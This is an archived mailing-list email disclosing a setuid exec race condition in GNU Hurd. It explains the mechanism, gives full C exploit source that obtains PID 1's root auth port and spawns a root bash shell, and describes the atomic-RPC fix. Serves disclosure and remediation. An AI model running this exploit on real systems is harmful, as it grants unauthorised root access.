From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp2 ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id eJDQOi9qgWEv3AAAgWs5BA (envelope-from ) for ; Tue, 02 Nov 2021 17:41:19 +0100 Received: from aspmx1.migadu.com ([2001:41d0:2:bcc0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp2 with LMTPS id IMGINi9qgWHFTgAAB5/wlQ (envelope-from ) for ; Tue, 02 Nov 2021 16:41:19 +0000 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id 5F92A15507 for ; Tue, 2 Nov 2021 17:41:19 +0100 (CET) Received: from localhost ([::1]:38910 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1mhwqc-0007oe-GP for larch@yhetil.org; Tue, 02 Nov 2021 12:41:18 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:33142) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1mhwhX-0006Nx-Bl; Tue, 02 Nov 2021 12:31:55 -0400 Received: from mail-lf1-x12a.google.com ([2a00:1450:4864:20::12a]:37887) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1mhwhR-00043o-8t; Tue, 02 Nov 2021 12:31:53 -0400 Received: by mail-lf1-x12a.google.com with SMTP id i3so14487594lfu.4; Tue, 02 Nov 2021 09:31:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=WeNM+E1JqwUToOUa4Bc8WJkJzsz3NAaQgPwGNO5VXC0=; b=M8JmHNbeYkOiGZCjsKOHv8fdZNv+YEWDgsfzIEW1eynysW8JYlVh/LcpP9RV3Qrywt YSdaL6nKi5NB+UcpTHN3IP6hUebzQz4uSX5GaD3AnZaZGGv4I4Jx9gnbTM271qPqlwJz bdX6bAxZuaPFFUO7xausJwJEi63Ullusw4i1iV4UeNhfLdjX8zz4blMcqYmzp6LOeyzy h0VhEJfb94k8o5q4TpTkIvCAiNFqMyPuH4+rdLwHnd1ASBti+E60/k0F55KMFp1a5G7Z GbHBO69uINoyCE5tbhBJOZeyn0jdtZLHLVZtiPQWnomDuY7Ns6I6pkxbDo+y5jAiIHV7 fDZA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=WeNM+E1JqwUToOUa4Bc8WJkJzsz3NAaQgPwGNO5VXC0=; b=XRGegqXK5pJWXAzJfPySZPywZFbk8Q0htC/oOcLDTbcq8YTutF2mrxx5lUQ7dV1IjZ ylFDw4/EnmYjGMo7gDbL0A7YcXxsc5pwYjDttyjxVc92Jc99NYDsAjko2fUA5J4gzvRq mhUM8009MZiZ2sCuxWHfNt1uOh5rOV2S5vslH8s0nkQ9matXfwrfHlUXxssXCvOQhFbZ rfRJsZ4V/xHmZV5sRHUEXiSZszno8ADfl4o6gxKrdtANQ74zbko9BVxwt812+auswjII se1ugUtEvrom0i2WvO0iyx3fjssZFsUGrAYX5ff3a3HsAYbddIMs+HK4fBYwN+p62IOx wAig== X-Gm-Message-State: AOAM532TAK7Lbyr0nBYtSge19fGnNQqGcXITHOkQKshMqbJ0RAsaa2VO OZGBXB4gmU1cyRi3wAme3Dm4nL6DVuE67c3d91M= X-Google-Smtp-Source: ABdhPJyc5MeHVn4nIOBP0CSNNPEGNero4HnBM2AAKrVoOPiur5JdF/mefVYapJzrejF0lCmAva/hUA== X-Received: by 2002:a05:6512:51a:: with SMTP id o26mr6540882lfb.386.1635870706263; Tue, 02 Nov 2021 09:31:46 -0700 (PDT) Received: from badwolf.office.smartdec.ru ([81.23.5.115]) by smtp.googlemail.com with ESMTPSA id w15sm844111ljo.123.2021.11.02.09.31.45 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Tue, 02 Nov 2021 09:31:45 -0700 (PDT) From: Sergey Bugaev To: bug-hurd@gnu.org Subject: [VULN 3/4] setuid exec race Date: Tue, 2 Nov 2021 19:31:20 +0300 Message-Id: <20211102163121.415934-4-bugaevc@gmail.com> X-Mailer: git-send-email 2.33.1 In-Reply-To: <20211102163121.415934-1-bugaevc@gmail.com> References: <20211102163121.415934-1-bugaevc@gmail.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Received-SPF: pass client-ip=2a00:1450:4864:20::12a; envelope-from=bugaevc@gmail.com; helo=mail-lf1-x12a.google.com X-Spam_score_int: -20 X-Spam_score: -2.1 X-Spam_bar: -- X-Spam_report: (-2.1 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, RCVD_IN_DNSWL_NONE=-0.0001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001 autolearn=ham autolearn_force=no X-Spam_action: no action X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: squid3@treenet.co.nz, Sergey Bugaev , debian-hurd@lists.debian.org, samuel.thibault@gnu.org, jlledom@mailfence.com, guix-devel@gnu.org, rbraun@sceen.net Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1635871279; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:list-id:list-help: list-unsubscribe:list-subscribe:list-post:dkim-signature; bh=WeNM+E1JqwUToOUa4Bc8WJkJzsz3NAaQgPwGNO5VXC0=; b=COr4TF2p6SYFn7ynICwXE9lZ8Pj/Txe4X1mp7vw7B/jKOChwZ3HDQMtCkp3WNHtSuxIKQF 9+EH/wmL/croh+Wie8wS1YP9WN58WQMLsJZ82gmNjFsajCVhV9A4ClEI5c7IGVWtZQDi8/ XlY44LZ5TMR1xOrrlejei1m8HK2jYlk2fMl9RpPVigoTOTFWtFlC91H9OH8hQgXqD30uWs 3m/EsTwiF924klGVz+NRXbeGvFxXRXf0RSSL5qQoaEsWMzFSh50aJ4gt/TX9NBde3A8rI9 Bk8ktozG0/6CDoDFd1Xgl/NB2rrOk0uh21q2eAMc6xUkKIRF94XZdKLzvlEliw== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1635871279; a=rsa-sha256; cv=none; b=bhA+MRsJ+WlaEMkpwDTVTpslET90BKtVykfReWZrbV72yegU24zR4B//8rS65RloAKAwkS TwWzak9wP48OQp14cdxH3nJGHSA5xT1jipNzaBt8ppFrE2dvXuSYt1RVrO8Qflm1HX1AYT WygsV/lfHc3yW+Eny52ep2RS3ccTNyzGCNgqP+dsOg20NFCECn1kSKPH3Qbrb4LMNcdsAQ RrrEGdfpHTPmheNk0Qg5LB/QJl54BBmXmgrmVFwdjq+2a50Dd8JQiDYli3WG3FX5c0VyTw +vey3bA3g3+OSGYeaQgvjqwvttJX9QH+FAXA4J3jNUlAeJLryFN3gOJ6lW8nXg== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=M8JmHNbe; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Spam-Score: 3.68 Authentication-Results: aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=M8JmHNbe; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Queue-Id: 5F92A15507 X-Spam-Score: 3.68 X-Migadu-Scanner: scn0.migadu.com X-TUID: epW87bao0mbR Short description ================= When trying to exec a setuid executable, there's a window of time when the process already has the new privileges, but still refers to the old task and is accessible through the old process port. This can be exploited to get full root access to the system. Background: setuid exec ======================= setuid is of course the Unix mechanism for raising privileges, whereby a process, upon executing a specially-marked executable file, is given the privileges of the owner of the file (typically root). On the Hurd, this is implemented as follows: * A process wishing to exec an executable file calls file_exec_paths () on the file, effectively asking the translator that provides the file to call exec_exec_paths () on the task. * If the translator wants to implement setuid behavior for the file, it reauthenticates the process and the provided I/O ports (file descriptors and cwd) to the new set of UIDs. * The translator calls exec_exec_paths (), passing the new ports to the exec server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the exec server to load the executable into a fresh new task that's not accessible to the original task, instead of reusing the same task as it does otherwise. (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does; EXEC_SECURE enables some additional tweaks on top of that.) * If loading the executable into the new task succeeds, the exec server calls proc_reassign (), which kills off the old task, assigns the new task to the process, and also invalidates the old process port (the process port created for the new task becomes the new port of the process). As far as the Mach personality of the system is concerned, this is a fresh new task with a fresh new process port; but since it keeps all the process state, from the Unix point of view it's still the same process, only running a new executable. The use of a fresh task (and recreation of the process port) is necessary because unprivileged processes have access to the task and process port of the original process; they would get access to the new privileged process if the task and/or process ports were kept valid. Please note that the exec server is (almost) not involved in the actual process of changing UIDs, that's entirely up to the translator to do -- and translators could implement different semantics than Unix setuid. The issue ========= The reauthenticated I/O ports are only given out to the new task if the exec succeeds. But reauthenticating the process does not create a new reauthenticated process, it only changes authentication of the same process. The process is still accessible to the process itself, and to anyone else who has access to the task or process port. Some time later, if the exec succeeds, the task is killed and the process port is invalidated. During the window of time between these two events, the process is still accessible through the old task and process ports, but already has the new (root) privileges. Moreover, this window of time can be easily made arbitrarily long, since the translator (specifically, the exec_reauth () function in libshouldbeinlibc) proceeds to reauthenticate the cwd port after reauthenticating the process. So by the time a io_reauthenticate () request is received on the cwd port, the process should already be reauthenticated, _and_ we know the process port won't be invalidated before io_reauthenticate () returns. The exploit =========== We create two tasks, one that will set its cwd to a fresh port (which only has to _not_ reply to the incoming message) and start to exec a setuid executable; the other task will get access to the process of the first task and wait until that process is given root privileges (as far as the proc server is concerned). >From here on, it's simple to get actual full root access (that is, a root auth port). We get access to a task of some process that already runs as full root (I chose PID 1), and just ask it nicely to give us its auth port using msg_get_init_port (INIT_PORT_AUTH). Exploit source code =================== #include #include #include #include #include #include #include #include int main () { error_t err; pid_t child_pid; process_t child_proc; task_t pid1_task; mach_port_t pid1_msgport; auth_t root_auth; child_pid = fork (); if (child_pid < 0) error (1, errno, "fork"); if (child_pid == 0) { file_t fake_cwdir; sleep (1); err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE, &fake_cwdir); if (err) error (1, errno, "mach_port_allocate"); err = mach_port_insert_right (mach_task_self (), fake_cwdir, fake_cwdir, MACH_MSG_TYPE_MAKE_SEND); if (err) error (1, errno, "mach_port_insert_right"); _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir); execlp ("su", "su", NULL); error (1, errno, "execlp"); } err = proc_pid2proc (getproc(), child_pid, &child_proc); if (err) error (1, err, "pid2proc"); sleep (2); err = proc_pid2task (child_proc, 1, &pid1_task); if (err) error (1, err, "proc_pid2task"); err = proc_getmsgport (child_proc, 1, &pid1_msgport); if (err) error (1, err, "proc_getmsgport"); /* Kill the hanging child task, we no longer need it. */ kill (child_pid, SIGKILL); err = msg_get_init_port (pid1_msgport, pid1_task, INIT_PORT_AUTH, &root_auth); if (err) error (1, err, "msg_get_init_port"); fprintf (stderr, "Got root auth port :)\n"); err = setauth (root_auth); if (err) error (1, err, "setauth"); if (setresuid (0, 0, 0) < 0) error (0, errno, "setresuid"); if (setresgid (0, 0, 0) < 0) error (0, errno, "setresgid"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } Notes ===== Actually, the situation is more complicated due to the "process owner" feature. This feature turned out to itself cause problems and vulnerabilities, so I ended up removing it altogether. The patch [0] has more details. [0]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0034-proc-Use-UIDs-for-evaluating-permissions.patch The setuid exec implementation is naturally a promising target to attack, since it involves raising privileges, and implementing _that_ correctly can be problematic even in monolithic systems -- typically, some sort of ptrace access would not be invalidated atomically with raising privileges. Here are two examples of that in SerenityOS [1] [2], and here's a XNU vulnerability [3] involving setuid exec and task ports. This only becomes more challenging to do correctly in a distributed system like the Hurd, as several pieces of state, kept by various servers, all need to be updated as a part of setuid exec. [1]: https://hxp.io/blog/79/hxp-CTF-2020-wisdom2/ [2]: https://github.com/SerenityOS/serenity/issues/5230 [3]: https://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html It is quite likely that there still are more undiscovered issues in the setuid exec implementation. How we fixed the vulnerability ============================== I've made the case that all the three actions that the process server does: * reauthenticating the process * assigning a new task to the process * invalidating the old process port have to be done atomically. Making any one of them earlier (or later) than others opens up a possibility for exploitation. To this end, we've introduced a new RPC to do all three atomically: /* Change the current authentication of the process and assign a different task to it, atomically. The user should follow this call with a call to auth_user_authenticate. The new_port passed back through the auth server will be the new proc port. The old proc port is destroyed. */ simpleroutine proc_reauthenticate_reassign ( old_process: process_t; rendezvous: mach_port_send_t; new_task: task_t); The exec server and exec_reauth () have then been updated to call this new RPC instead of the old proc_reassign () and proc_reauthenticate ().